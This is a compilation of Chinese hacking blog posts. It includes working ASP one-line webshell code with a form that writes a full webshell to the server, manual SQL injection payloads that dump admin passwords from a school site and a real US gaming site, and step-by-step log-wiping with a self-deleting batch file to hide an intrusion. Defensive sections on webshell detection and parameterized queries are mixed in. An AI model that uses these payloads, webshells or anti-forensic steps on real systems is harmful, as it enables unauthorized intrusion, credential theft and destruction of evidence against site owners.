分类 网安杂类 下的文章

y:秋水

第一次写这东东。。别人要看,就。。。

Asp2年没弄了,囧。。大牛过~~~~~。闲着没事情,晚上了。好久没动笔了,

开始


And 1=1和and 1=2和’(单引号)出现的问题是一样的如上图所示图1。然后我们继续

我们去掉?后边的参数和值,如下图2


出错了,然后我们继续,我们会发现出错信息是/news.asp ,行27,有问题,那我们就把参数写上看看。如下图3


看见了么。说是没文章,那我们溢出它,看图4


我就多写了个111111111111111就出错了,说是溢出了,呵呵,溢出下面还是有信息,那我们打开看看是什么,里面是不是有什么参数,其实跟PHP道理是一样的。

看图5


出现问题了吧,哎呀。这个你们都懂的吧。呵呵。。

下图6


然后到数据库里面找MD5啊。呵呵。图7


图7

下面就是路径了,找了个扫路径的,图8


路径出来,进入看看。


图9

下边就是shell了,MY动力~~~,是个人的还是企业的,我不知道。以前没见过。。。我真的没见过啊,囧。。。

在网站配置那地方,下面有个版权信息,你写上相应的一句话就可以了。然后去INC/CONFIG的目录下,链接一句话,OK。结束。

from 九区

0x00  前言

0x01  Webshell检测模型

0x02  静态特征检测

0x03  动态特征检测

0x04  结语





0x00  前言



    什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不

过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”

的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。



    随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑

客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网

企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。



    本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。





0x01  Webshell检测模型



    记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,

我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变

形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和

HTTP请求。



    我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。

简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。

棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然

不是绝对的),只有在应用层进行检测。



    黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含

webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数

据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。





0x02  静态特征检测



    静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串

特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高

级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通

过此类办法查找ASP类型的webshell的。



    静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。

比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在

设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。



    对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时

候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特

征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell

用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。

比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application

等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。



    另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里

面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我

自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最

终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell——这个情况

和特征码杀毒软件何其相似。



    要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我

们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,

如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度

和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发

现。





0x03  动态特征检测



    webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我

们称为动态特征。



    先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应

做成特征库,加到IDS里面去检测所有的HTTP请求就好了。



    这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个

体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公

开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义

的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老

搞特征码是吧。



    webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,

Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这

样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这

下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机

后门的一些检测策略,以后有机会再另文叙述。



    回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP

请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时

是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常

请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,

还可以发现很多问题的。



    还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,

我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就

好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),

当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数

的重载:



--code-------------------------------------------------------------------------

<%

Function execute(stra)

    Response.Write("get the arg : "+stra)

End Function

a="response.write(""hello,world"")"

execute(a)

%>

-------------------------------------------------------------------------------



    这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小

道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学

可以关注。





0x04  结语



    本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也

可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比

于工具,思路永远是最重要的。





文章作者:lake2 - 这个ID不用我解释,某组织的牛淫

看到很多人还是不理解一句话木马的原理,这里就转一篇东西科普下吧
——————————————————我是科普线——————————————————————
一句话木马的适用环境:

1.服务器的来宾账户有写入权限

2.已知数据库地址且数据库格式为asa或asp

3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可



一句话木马的工作原理:

"一句话木马"服务端(本地的html提交文件)

就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完 成相应的操作,服务端的代码内容为   <%execute request("value")%>   其中value可以自己修改



"一句话木马"客户端(远程服务器上被插入一句话的asp文件)

用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件



现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP里<%execute ............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们 就可以在本地构造一个表单内容如下:(//为注释)



<form action=http://www.badguest.cn /TEXT.asp method=post>



<textarea name=value cols=120 rows=10 width=45>



set lP=server.createObject("Adodb.Stream")//建立流对象

lP.Open //打开

lP.Type=2 //以文本方式

lP.CharSet="gb2312" //字体标准

lP.writetext request("newvalue")



lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式

lP.Close //关闭对象

set lP=nothing //释放对象

response.redirect "newmm.asp" //转向newmm.asp



</textarea>



<textarea name=newvalue cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br>

<input type=submit value=提交>



</form>



表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有<%execute request("value")%>这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和<%execute request("value")%>里的VALUE一样,就是我用蓝色标记的那两处,必须相等)



说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.



具体的就是下面这一段:



set lP=server.createObject("Adodb.Stream")//建立流对象

lP.Open //打开

lP.Type=2 //以文本方式

lP.CharSet="gb2312" //字体标准

lP.writetext request("newvalue")



lP.SaveToFile server.mappath("newvalue.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式

lP.Close //关闭对象

set lP=nothing //释放对象

response.redirect "newmm.asp" //转向newmm.asp



这样的话第二个表单的名字必须和lP.writetext request("newvalue") 里的Newvalue一样,就是我用红色标注的那两处.

至此只要服务器有写的权限你表单所提交的大马内容就会被写入到newmm.asp中。即newmm.asp为我们的shell地址。





关于服务器错误:



经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:

Script error detected at line 1.

Source line: execute request("nettoo")

Description: 类型不匹配: 'execute'

这个如何解决呢?

想出了一个好办法,只要用"eval"替换掉"execute"服务端,就不会出错了!

用一句话客户端连接,加入容错语句,你可以把它插入到任何ASP文件而不会像以前一样出错。

<%On Error Resume Next execute request("value")%>

安全日志
  系统日志
  DNS日志默认位置:%systemroot%system32config,默认文件大小512KB,管理员都会改变这个默认大小。安全日志文件:%systemroot%system32configSecEvent.EVT
  系统日志文件:%systemroot%system32configSysEvent.EVT
  应用程序日志文件:%systemroot%system32configAppEvent.EVT
  FTP日志默认位置:%systemroot%system32logfilesmsftpsvc1,默认每天一个
  WWW日志默认位置:%systemroot%system32logfilesw3svc1,默认每天一个日志
  以上日志在注册表里的键: 应用程序日志,安全日志,系统日志,DNS服务器日志,
  它们这些LOG文件在注册表中的:
  HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog
  钥匙(表示成功)和锁(表示当用户在做什么时被系统停止)。接连四个锁图标,表示四次失败审核,事件类型是帐户登录和登录注销失败
  怎样删除这些日志:通过上面,得知日志文件通常有某项服务在后台保护,除了系统日志安全日志应用程序日志等等,它们的服务是Windos2000的关键进程,而且与注册表文件在一块,当Windows2000启动后,启动服务来保护这些文件,所以很难删除.
  下面就是很难的安全日志和系统日志了,守护这些日志的服务是Event Log,试着停掉它! D:SERVERsystem32LogFilesW3SVC1>net stop eventlog 这项服务无法接受请求的"暂停" 或"停止" 操作。
  怎么清除系统日志.
  怎么利用工具清除IIS日志
  怎么清除历史和cookie
  怎么察看防火墙 Blackice的日志
  netstat -an 表示的什么意思
  -----------------------------------------
  1. 系统日志 通过手工很难清除. 这里我们介绍一个工具 clearlog.exe
  使用方法:
          Usage: clearlogs [\computername] <-app / -sec / -sys>
  -app = 应用程序日志
  -sec = 安全日志
  -sys = 系统日志
  a. 可以清除远程计算机的日志
  ** 先用ipc连接上去: net use \ipipc$ 密码/user:用户名
  ** 然后开始清除: 方法
  clearlogs \ip -app 这个是清除远程计算机的应用程序日志
  clearlogs \ip -sec 这个是清除远程计算机的安全日志
  clearlogs \ip -sys 这个是清除远程计算机的系统日志
  b.清除本机日志: 如果和远程计算机的不能空连接. 那么就需要把这个工具传到远程计算机上面
  然后清除. 方法:
  clearlogs -app 这个是清除远程计算机的应用程序日志
  clearlogs -sec 这个是清除远程计算机的安全日志
  clearlogs -sys 这个是清除远程计算机的系统日志
  安全日志已经被清除.Success: The log has been cleared 成功.
  为了更安全一点.同样你也可以建立一个批处理文件.让自动清除. 做好批处理文件.然后用at命令建立一个计划任务. 让自动运行. 之后你就可以离开你的肉鸡了.
  例如建立一个 c.bat
  rem ============================== 开始
  @echo off
  clearlogs -app
  clearlogs -sec
  clearlogs -sys
  del clearlogs.exe
  del c.bat
  exit
  rem ============================== 结束
  在你的计算机上面测试的时候 可以不要 @echo off 可以显示出来. 你可以看到结果
  第一行表示: 运行时不显示窗口
  第二行表示: 清除应用程序日志
  第三行表示: 清除安全日志
  第四行表示: 清除系统日志
  第五行表示: 删除 clearlogs.exe 这个工具
  第六行表示: 删除 c.bat 这个批处理文件
  第七行表示: 退出
  用AT命令. 建立一个计划任务. 这个命令在原来的教程里面和杂志里面都有. 你可以去看看详细的使用方法
  AT 时间 c:c.bat
  之后你就可以安全离开了. 这样才更安全一点.
  -----------------------------------------
  2. 清除iis日志:
  工具:cleaniis.exe
  使用方法:
  使用方法:
          iisantidote <logfile dir> <ip or string to hide>
          iisantidote <logfile dir><ip or string to hide> stop
          stop opiton will stop iis before clearing the files and restart it after
  <logfile dir> exemple : c:winntsystem32logfilesw3svc1 dont forget the  
          使用方法解释:
  cleaniis.exe iis日志存放的路径 清除参数
  什么意思呢??我来给大家举个例子吧:
  cleaniis c:winntsystem32logfilesw3svc1 192.168.0.1
  这个表示清除log中所有此 IP(192.168.0.1)地址的访问记录. -----推荐使用这种方法
  cleaniis c:winntsystem32logfilesw3svc1 /shop/admin/
  这个表示清除这个目录里面的所以的日志
  c:winntsystem32logfilesw3svc1 代表是iis日志的位置(windows nt/2000) 这个路径可以改变
  c:windowssystem32logfilesw3svc1 代表是iis日志的位置(windows xp/2003) 这个路径可以改变
  这个测试表示 在日志里面没有这个ip地址.
  我们看一下日志的路径 再来看一下
  我们的 ip(192.168.0.1)已经没有了.
  已经全部清空. 同样这个也可以建立批处理. 方法同上面的那个.
  3. 清除历史记录及运行的日志:
  cleaner.exe
  直接运行就可以了.
  -----------------------------------------
  4. 察看blackice的日志.
  这个地方我们可以清除的看到 防火墙的日志.
  这个表示 有人发过来带有病毒的email附件. ip是: 220.184.153.116
  tcp_probe_other 表示 通过tcp 扫描 或者利用别的和你建立连接 通信
  这个表示通过端口 80 扫描iis
  病毒 nimda
  这里需要很多的计算机协议知识. 同时也需要对英语有了解
  才能更好的分析 如果对英语不好 你可以装一个金山词霸.
  一般情况下 我们可以 对一些可以不用管.
  一般这三种情况 不用去管.
  最上面的 critical 这个 可以去关注一下 . 一般是确实有别的计算机扫描或者入侵你的计算机
  count 代表次数 intruder 是对方的ip event 是通过什么方式(协议) 扫描或者想入侵的
  time表示时间
  5.-----------------------------------------
  netstat -an 表示什么意思?

  使用这个命令可以察看到和本机的所有的连接.
  Proto Local Address Foreign Address State
  协议 本地端口及IP地址 远程端口及IP地址 状态
  LISTENING 监听状态 表示等待对方连接
  ESTABLISHED 正在连接着.
  TCP 协议是TCP
  UDP 协议是UDP
  TCP 192.168.0.10:1115 61.186.97.54:80 ESTABLISHED
  这个表示 利用tcp协议 本机ip(192.168.0.10)通过端口:1115 和远程ip(61.186.97.54)端口:80连接
  80端口 表示 http 就是你在访问这个网站.一般情况下远程ip的端口: 80 21 8000 这个都是正常的. 如果是别的就可以看一下你的计算机了。

    晚上在群里聊选课的事情,聊着聊着,竟然扯到学校网站的注入漏洞了,向师哥确认了一下存在注入漏洞的子站,便决定去看一下,练练手~  话说这个子站我很久以前进行了一次检测,当时没有发现搜索注入的,但是师哥说这个注入漏洞已经存在两年了,难道是当时我检测的时候漏掉了什么?

    打开网站,直奔主题,拖到最下面的搜索框,填入' ,果断报错。。。(话说截图好麻烦,我就不截图了。。。)  咦,难道真的是我当时没发现?

    继续测试,填上了aa,搜出了一大堆东西来,然后继续测试,

    在搜索框填入aa%' and 1=1 and '%'='%,搜索,报错。。。  怎么个情况。。。  这是在告诉我这次检测失败吗?

    这是师哥在群里发来了一个连接,说里面有他的文章,就是说这个网站的,果断点进去开始下载,然后就是。。。漫长的等待。。。。。(也不知是那个服务器,下载速度慢的让人蛋疼。。。)

    下载完成后,找到师哥的文章,跟截图比对了一下,就是这个注入点,没有错,那难道是语句的问题?仔细比对了一下,一下子我就醒悟了,原来是后面多了一个%。。。。 - -!  我竟然忘记了在查询数据库时后面还有一个通配符。。。

    例:sql= select * from news where title like '%关键字%';

    注入构造的语句是 select * from news where title like '%关键字%' and 1=1 and '%'='%';

    知道原因后,马上开始

    aa%' and 1=1 and '%'='  返回正常

    aa%' and 1=2 and '%'='  返回错误   存在搜索型注入漏洞。。。

    看了一下师哥的文章,他到这里以后就直接丢工具了,我这里准备手工搞一下,熟悉一下代码,呵呵,开始

    aa%' and exists(select * from admin)--  返回正常  

    aa%' and exists(select username from admin)-- 正常  进展的还真是异常的顺利啊

    aa%' order by xx--  16正常,17错误

    接下来开始爆字段内容

    aa%' and 1=2 union select 1,2,3,4.....16 from admin--  发现5,6两个字段可用

    替换为 aa%' and 1=2 union select 1,2,3,4,username,password,7,8.....16 from admin--  成功爆出管理员帐号密码

    登录后台逛了一下,有一个上传点,貌似师哥在文章里提过可以用cookies绕过,这里就不搞了,这次主要是练练手,熟悉一下手工注入。

    通过这次练习,还是对搜索注入有了进一步的了解的,还有就是注入语句的构造要自己动一下脑子才能得到应有的效果,还有一点就是在猜解表名和字段的时候,可以用col_name等系统函数来列出来,会省下很多时间。。。  嗯嗯  大概就是这个样子。小菜有错误的地方欢迎指正~  o(∩_∩)o 呵呵~

大家存在5点误区:

1、sql注入比较难防,需要替换select,delete等一打字符

其实对于字符型替换再多都没有替换单引号为两个单引号来的好!对于数字型替换再多都没有用,一定要类型转换。

2、忽略DropDownList传来的东西

其实是不对的,一切客户端的东西都是不可信任的,select下拉框也是!因为可以自己做一个htm提交到服务器。

3、access比sqlserver不安全

安全不安全关键看怎么用,如果sqlserver还是像access一样用,一个sa帐户的话,很明显,sqlserver比access不安全,可以直接得到表名和字段名!access反而倒安全点了,因为只能通过逐位猜解得到。



4、网站没有显示出错信息就说明网站是安全的

当有记录的时候显示记录,没有记录的时候显示





找不到任何记录,通过这两种状态就可以猜解字



段名了,所以网页不出错不能说明是安全的





5、忽略post提交的信息

很多人对url上传递的东西过滤严格,对于post的东西不理不睬是不对的,post的东西更加容易被注入,因为一般字段比较多



在asp.net中强烈建议通过参数来实现sql而不是sql拼接,因为就算你每一个都过滤百密难有疏

比如:

SqlConnection conn=new SqlConnection(System.Configuration.ConfigurationSettings.AppSettings["conn"]);

            SqlCommand comm=new SqlCommand("update tb1 set vName=@vName,iAge=@iAge where ID=@id",conn);

            SqlParameter parm1=new SqlParameter("@vName",SqlDbType.NVarChar,50);

            parm1.Value=((TextBox)e.Item.FindControl("name")).Text;

            SqlParameter parm2=new SqlParameter("@iAge",SqlDbType.Int);

            parm2.Value=((TextBox)e.Item.FindControl("age")).Text;

            SqlParameter parm3=new SqlParameter("@id",SqlDbType.Int);

            parm3.Value=this.DataGrid1.DataKeys[e.Item.ItemIndex];

            comm.Parameters.Add(parm1);

            comm.Parameters.Add(parm2);

            comm.Parameters.Add(parm3);

            conn.Open();

            comm.ExecuteNonQuery();

            conn.Close();



这样的代码看起来舒服而且又安全,何乐不为?

伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html, 在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多。

 
例如关联的动态页面是game.php ,那么当用户访问后程序会自动转换成类似http://www.XXX.com/game.php?action=play& name=Diablo 的形式,当然这部分是PHP执行的所以在访问时看不到。假如name=Diablo这个参数有注入点但是访问的是伪静态页面,那么注入的语句其实差不多,不过如果是MYSQL数据库是不能用注释符的,因 为注释的斜杠会被当成目录访问,那么就会出现问题,所以这里的注入需要把语句补全。
 
注入点检测可以用:http://www.XXX.com/play/Diablo’ and 1=’1.html与http://www.XXX.com/play/Diablo’ and 1=’2.html来判断,联合查询我也试过,不过失败了。我用的语句如下:http://www.XXX.com/play/diablo’ and 1=2 union select 1,2… from information_schema.columns where 1=’1.html,但是测试了N次都不能成功,有可能程序的SQL语句后面还有其他条件,具体原因没仔细看。
 
所以这个时候只能用盲注来检测,不过因为伪静态注入的URL比较特殊,一般的注入工具是利用不了的,所以就把刺猬写的COOKIES注入中转器的 get方式注入的代码修改了一下,只要把注入的参数写成Diablo ,然后在提交的语句后面加上.html那么就可以直接放到穿山甲里注入了。
 
注入的速度就看中转的速度了,感觉用低版本的穿山甲效果更好,高版本有可能因为速度比较快所以在猜解字母的时候会导致部分内容检测不到。为了更好的解释伪静态,先看看四种伪静态的php实现方法:
 
 
代码
//伪静态方法一
 
// localhost/php100/test.php?id|1@action|2
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"];
echo $Php2Html_FileUrl.”
”;// /php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace(“?”,”",str_replace(“/”, “”, strrchr(strrchr($Php2Html_FileUrl, “/”),”?”)));
echo $Php2Html_UrlString.”
”;// id|1@action|2
$Php2Html_UrlQueryStrList = explode(“@”, $Php2Html_UrlString);
print_r($Php2Html_UrlQueryStrList);// Array ( [0] => id|1 [1] => action|2 )
echo “
”;
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
$Php2Html_TmpArray = explode(“|”, $Php2Html_UrlQueryStr);
print_r($Php2Html_TmpArray);// Array ( [0] => id [1] => 1 ) ; Array ( [0] => action [1] => 2 )
echo “
”;
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}
//echo ‘假静态:$_GET变量
’;
print_r($_GET); // Array ( [id|1@action|2] => [id] => 1 [action] => 2 )
echo “
”;
echo “”;
echo $_GET[id].”
”;// 1
echo $_GET[action];// 2
?>
 
代码
//伪静态方法二
 
// localhost/php100/test.php/1/2
$filename = basename($_SERVER[''SCRIPT_NAME'']);
echo $_SERVER[''SCRIPT_NAME''].”
”;// /php100/test.php
echo $filename.”
”;// test.php
 
if(strtolower($filename)==’test.php’){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id.”
”;
$action=intval($_GET[action]);
echo $action.”
”;
}else{
$nav=$_SERVER[''REQUEST_URI''];
echo “1:”.$nav.”
”;// /php100/test.php/1/2
$script=$_SERVER[''SCRIPT_NAME''];
echo “2:”.$script.”
”;// /php100/test.php
$nav=ereg_replace(“^$script”,”",urldecode($nav));
echo $nav.”
”; // /1/2
$vars=explode(“/”,$nav);
print_r($vars);// Array ( [0] => [1] => 1 [2] => 2 )
echo “
”;
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.’&’.$action;
}
?>
 
代码
//伪静态方法三
 
function mod_rewrite(){
global $_GET;
$nav=$_SERVER["REQUEST_URI"];
echo $nav.”
”;
$script_name=$_SERVER["SCRIPT_NAME"];
echo $script_name.”
”;
$nav=substr(ereg_replace(“^$script_name”,”",urldecode($nav)),1);
echo $nav.”
”;
$nav=preg_replace(“/^.ht(m){1}(l){0,1}$/”,”",$nav);//这句是去掉尾部的.html或.htm
echo $nav.”
”;
$vars = explode(“/”,$nav);
print_r($vars);
echo “
”;
for($i=0;$i
$_GET["$vars[$i]“]=$vars[$i+1];
}
return $_GET;
}
mod_rewrite();
$year=$_GET["year"];//结果为’2006′
echo $year.”
”;
$action=$_GET["action"];//结果为’_add’
echo $action;
?>
 
代码
//伪静态方法四
 
//利用server变量 取得PATH_INFO信息 该例中为 /1,100,8630.html   也就是执行脚本名后面的部分
if(@$path_info =$_SERVER["PATH_INFO"]){
//正则匹配一下参数
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid     =intval($arr_path[1]); //取得值 1
$sid     =intval($arr_path[2]);   //取得值100
$softid   =intval($arr_path[3]);   //取得值8630
}else dIE(“Path:Error!”);
//相当于soft.php?gid=1&sid=100&softid=8630
}else dIE(‘Path:Nothing!’);
?>
代码
PHP防注入,主要是为了防止恶意写入后台数据库;
//防注入函数
function inject_check($sql_str){
$check=eregi(‘select|insert|update|delete|\’|\/\*|\*|\.\.\/|\.\/|union|into|load_file
|outfile’, $sql_str);
if($check){
echo ” 输入非法内容”;
exit();
}else{
return $sql_str;
}
}
//接收传递参数后进行转换
$_GET[type]=inject_check($_GET[type]);
//之后再使用转换后的参数
 
之前写的这篇关于伪静态注入的文章,写的比较简单基本上只算是对伪静态注入的方法和原理做了简单介绍,很多细节方面的东西都没有提到,不过要纠正一点,伪 静态注入一样可以用联合查询的,只是具体的字段数要一个一个猜,这个有点麻烦,今年主要在看老美的网站,发现很多伪静态站点都有注入点,只是大部分注入点 都比较隐蔽所以在渗透的时候需要花费很多时间,这里就以美国某游戏站点的渗透作为实例,介绍一下整个渗透利用过程。
 
前段时间比较无聊,上了某游戏站点放松,发现那个站做的很不错而且在线人数达到1W多,因为我是在白天访问的当时美国应该是晚上,所以可以看出这个 站的流量非常大,去alexa上查了一下排名在4千左右,流量25W,那么这个站流量估计有50W+,看了口水都留下来了!!!随即打算检测一下这个网站 的安全性,访问了整个网站只有2个页面是调用PHP的,但是没有注入点,整个网站大致信息如下:APACHE、PHP、数据库未知(应该是MYSQL 吧)、伪静态页面(检查后发现的)、后台找不到、不能破解目录(访问不存在的页面或目录后会返回首页,状态码始终是200和301,扫描的时候会有很多误 报)、可以注册(没有注入点)、不能上传文件、没有常见的配置漏洞(比如目录浏览之类的)、没有扫到冗余文件、没有FTP、没有SSH、端口扫描后也没有 发现。似乎这个网站很棘手,毕竟别人也是排名4K内的站啊!!!在GG、baidu上搜了一下PHP以及敏感的页面也没新发现,其实有时候用百度搜国外站 的收录页会有惊喜哦!因为这个站是伪静态的,所以对主要的几个页面做了伪静态的注入测试,但是都没漏洞,也不知道这个网站是用什么模版做的。用旁注工具扫 了一下域名,发现服务器上绑定了十几个站,悲剧的是所有站用的是同一个网站模版,所有情况和主站一样。估计到这里很多人都想到C段吧,可惜老外的IDC比 较怪,一般不会把一个C放在一个交换机环境里,我碰到最BT的是把子网掩码设为255.255.255.252,稍微好点的是 255.255.255.244,就算弄到同网段的,一般都是LINUX服务器,提权超难,公布的0day基本都不行,所以C段直接放弃。
 
关注入点继续回到网站上,注册了一个账号,看了一下用户功能,基本上只有修改自己信息的权限,COOKIES方面测试了一下没漏洞,不过发现网站管理 员的账号和注册人员是同一个表的,把URL里的ID改一下就能获得用户名,可惜只有用户名,而且用户名还很BT,哎!!!!难啃的骨头,继续深入~~~~ 看到游戏页面后找到一个投票的连接,抓包后发现也是伪静态(连接类型如下:http://www.XXXXX.com/vote/5453/1), 通过伪静态的注入点检测确定存在注入漏洞并且提交后会执行update语句,检测时提交以下语句(http://www.XXXXX.com/vote /5453′/1 报错,http://www.XXXXX.com/vote/5453-0/1 返回正常游戏名字 http://www.XXXXX.com/vote/5453-1/1 返回5452的游戏名字,判断存在注入点)连接的表是member,可惜显示的出错语句很复杂,各种符号都有,想了几种办法也都没补全,而且数据库中的表 和列也都不知道,似乎只有看源码后才能构造注入语句,鸡肋的注入点,余下来看完了整个网站也只发现一个暴物理路径的漏洞,又是鸡肋!似乎初步的检查到这步 已经完成了,一个字,难!
 
因为弄到很晚所以睡觉了,隔了几天还是时不时的上来看看网站、看看管理员在线状态,一个星期后觉得很不爽,再次打开这个网站,然后把注册页面、登陆 页面、提交页面作为关键字去网上找相同模版,这次终于有发现了,找到一个新部署的网站,而且后台路径是admin管理员账户是默认的admin,进去后发 现后台可以直接拿SHELL,然后去网上查了一下这个网站的0day,但是比较老所以无法利用,看了一下源码也只发现那个鸡肋的注入点,这个时候忽然想到 了什么,通过上传的SHELL查看数据库的表结构,原来member的表中有一个管理员的选项,设为1就是普通用户,设为2就是管理员,这样就能通过那个 注入点提升权限了,而且在php页面中看到了投票的SQL语句,在构造之后直接在游戏站上测试(语句如下:http://www.XXXXX.com /vote/5453;}’,xxx=’xxx’,xxx=’{xxxx/1), 成功提升为管理员(经过验证发现只要用这个网站模版都可以提权,又一个0day!),而且发现只要账户具有管理权限,前台页面中会以黄色显示用户名,狂喜 之下登陆游戏站,发现在用户界面中多了一个管理员登录的选项,可是!!!悲剧再次发生,连接的目录是默认路径,后台找不到,是在不甘心用平时用的后台扫描 字典,以及自己生成了1-5位的数字以及字符的字典放到havij里爆破,因为havij可以DIY状态代码,所以我把200和301的状态去掉了,扫了 3天后无果!!!!纠结!!!!
在1个星期之后的某天再次打开这个网站,用一个网上下的字典再次扫了整个目录,这次发现在根目录里有一个server-status,访问之后狂 喜,里面有APACHE提供当前服务的URL,所以用户访问的页面都能检查,然后找了website watch进行监控,设置了一些关键字后以平均每3秒钟对该页面检测一次,如果发现有关键字就以MAIL方式报警,同时把有关键字的页面覆盖在邮件中,2 天后成功抓到后台页面,打开后发现是401验证,网站没有下载和FL漏洞,用获取的管理员信息尝试登陆,结果统统失败,感觉脑子都充血了!!!!对了,不 是还有UPDATE权限的鸡肋注入点吗!!由于MYSQL的关系,无法把同表中的内容更新到同表的其他列中,所以第一次失败了,上网查了一下重新构造语句 成功,拿到的是管理员md5的密码,上CMD5上查到源码,然后用管理员的账户通过了401验证,成功登陆后台,进去后随便逛了一下上传 webshell,反弹cmdshell,发现是X64的系统,用了网上找的道的所有EXP都不能提权,不过发现服务器上有2个外网IP,另外一个IP可 以链接FTP和SSH,用了管理员的密码以及passwd里的用户名登陆结果发现网管用了公钥验证,RSA加密,直接访问存放public key的目录显示DENY,直接下载公钥还是DENY,不过可以看所有网站目录。
